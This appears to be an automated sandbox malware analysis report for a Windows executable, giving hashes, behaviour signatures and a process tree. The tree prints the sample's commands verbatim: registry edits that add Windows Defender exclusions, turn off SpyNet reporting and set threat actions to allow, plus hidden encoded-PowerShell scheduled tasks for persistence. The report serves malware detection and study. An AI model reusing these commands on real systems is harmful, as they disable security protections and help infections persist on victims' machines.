Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    91s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/01/2023, 07:26

General

  • Target

    file.exe

  • Size

    7.2MB

  • MD5

    397ddcd4d6061cdb5f2e1abdaa09abfc

  • SHA1

    60d9de478928374c1db58d5fe201de8eb18705fb

  • SHA256

    355df10be933d89d3ca048a35a06b58e0f80a7b58b3088da45d4ada7939944dc

  • SHA512

    4bf7ad2dd5005cac3f62aa3b564ee4889e768a0b5da6302e863ea0d68de7456af2e8ccdf5c7122a519084b6d9d26de99804b3fc18e998c666b15da784f140810

  • SSDEEP

    196608:91OYkpNulBE4vbQJT6R3xTN1tR1hTrzaTuYpgPH6ze1:3OYk2lBlT3R3x5JyvKyze1

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2552
    • C:\Users\Admin\AppData\Local\Temp\7zSCE80.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3268
      • C:\Users\Admin\AppData\Local\Temp\7zSD239.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:5012
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1116
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4380
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:2212
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:2448
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3020
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2256
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:2424
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:4964
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gUQEgksIl" /SC once /ST 02:15:13 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:1416
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gUQEgksIl"
                  4⤵
                    PID:32
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gUQEgksIl"
                    4⤵
                      PID:3152
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bmkQfSnzPaOQmejIPN" /SC once /ST 07:27:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\TYVqHtDonLSrWRgdy\fHTVDPNOrFunBax\WAslQXU.exe\" k4 /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:4696
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2340
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:2488
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:2288
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:2992
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:2900
                      • C:\Users\Admin\AppData\Local\Temp\TYVqHtDonLSrWRgdy\fHTVDPNOrFunBax\WAslQXU.exe
                        C:\Users\Admin\AppData\Local\Temp\TYVqHtDonLSrWRgdy\fHTVDPNOrFunBax\WAslQXU.exe k4 /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:2468
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:5028
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3056
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:2948
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4040
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:3120
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:3364
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:3248
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:2204
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:2444
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:4312
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:4936
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:1780
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:1092
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:3068
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:1276
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:3200
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:2836
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:2424
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:1812
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4964
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:1940
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:1296
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:3020
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:1480
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:212
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:256
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CjFbSUxMfeUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CjFbSUxMfeUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KzGlOGkLLwgyKzCwnsR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KzGlOGkLLwgyKzCwnsR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\aCihPuJdU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\aCihPuJdU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gAVxmqQUvZVtC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gAVxmqQUvZVtC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lzmeupYjvcHU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lzmeupYjvcHU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\txBXwMIRPrsSMVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\txBXwMIRPrsSMVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\TYVqHtDonLSrWRgdy\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\TYVqHtDonLSrWRgdy\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\PdIuKibDUUQxOHXi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\PdIuKibDUUQxOHXi\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:4348
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CjFbSUxMfeUn" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:1844
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CjFbSUxMfeUn" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:1772
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CjFbSUxMfeUn" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:2340
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KzGlOGkLLwgyKzCwnsR" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:2264
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KzGlOGkLLwgyKzCwnsR" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:2280
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aCihPuJdU" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:3700
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aCihPuJdU" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:2900
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gAVxmqQUvZVtC" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:3944
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gAVxmqQUvZVtC" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:4772
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lzmeupYjvcHU2" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:5096
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lzmeupYjvcHU2" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:788
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\txBXwMIRPrsSMVVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4104
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\txBXwMIRPrsSMVVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:4576
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\TYVqHtDonLSrWRgdy /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:3260
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\TYVqHtDonLSrWRgdy /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:2300
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\PdIuKibDUUQxOHXi /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:2488
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\PdIuKibDUUQxOHXi /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:960
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "gmDgFkbFC" /SC once /ST 01:37:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:3668
